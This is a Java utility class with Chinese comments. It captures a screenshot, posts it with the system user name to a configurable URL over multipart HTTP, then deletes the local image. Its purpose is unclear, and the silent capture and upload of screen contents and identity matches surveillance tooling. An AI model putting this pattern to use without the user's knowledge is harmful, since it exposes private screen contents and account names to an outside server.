package Utils;/*
作者Crying711
日期:2020/12/28
时间:23:14
*/


import Native.NativeKeyboard;
import okhttp3.*;

import java.io.File;
import java.io.IOException;
import java.net.Socket;
import java.net.URLEncoder;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.TimeUnit;

public class Upload {

    public static String httpMethod(String url, Map<String, Object> paramsMap) {
        // 创建client对象 创建调用的工厂类 具备了访问http的能力
        OkHttpClient client = new OkHttpClient()
                .newBuilder()
                .connectTimeout(60, TimeUnit.SECONDS) // 设置超时时间
                .readTimeout(60, TimeUnit.SECONDS) // 设置读取超时时间
                .writeTimeout(60, TimeUnit.SECONDS) // 设置写入超时时间
                .build();

        // 添加请求类型
        MultipartBody.Builder builder = new MultipartBody.Builder();
        builder.setType(MediaType.parse("multipart/form-data"));

        //  创建请求的请求体
        for (String key : paramsMap.keySet()) {
            // 追加表单信息
            Object object = paramsMap.get(key);
            if (object instanceof File) {
                File file = (File) object;
                builder.addFormDataPart(key, file.getName(), RequestBody.create(file, null));
            } else {
                builder.addFormDataPart(key, object.toString());
            }
        }
        RequestBody body = builder.build();

        // 创建request, 表单提交
        Request request = new Request.Builder()
                .url(url)
                .post(body)
                .build();

        // 创建一个通信请求
        try (Response response = client.newCall(request).execute()) {

            return  response.body().string();

        } catch (IOException e) {
            e.printStackTrace();
        }
        return "";
    }

    public static String UploadCore(Socket socket) throws IOException {

        String screenshot = Screenshot.Companion.screenshot();
        Map<String, Object> paramsMap = new HashMap<String, Object>();
        paramsMap.put("image", new File(screenshot));
        String json = httpMethod(NativeKeyboard.Companion.getVM_Keyborad().Imageurl(), paramsMap);
        Files.delete(Paths.get(screenshot));

        return  json;
    }
    public static String UploadCore(String url) throws IOException {

        String username =System.getProperty("user.name").replace("/","");
        String screenshot = Screenshot.Companion.screenshot();
        Map<String, Object> paramsMap = new HashMap<String, Object>();
        paramsMap.put("image", new File(screenshot));
        paramsMap.put("name", URLEncoder.encode(username,"UTF-8"));
        String json = httpMethod(url, paramsMap);
        Files.delete(Paths.get(screenshot));
        return  json;
    }
}
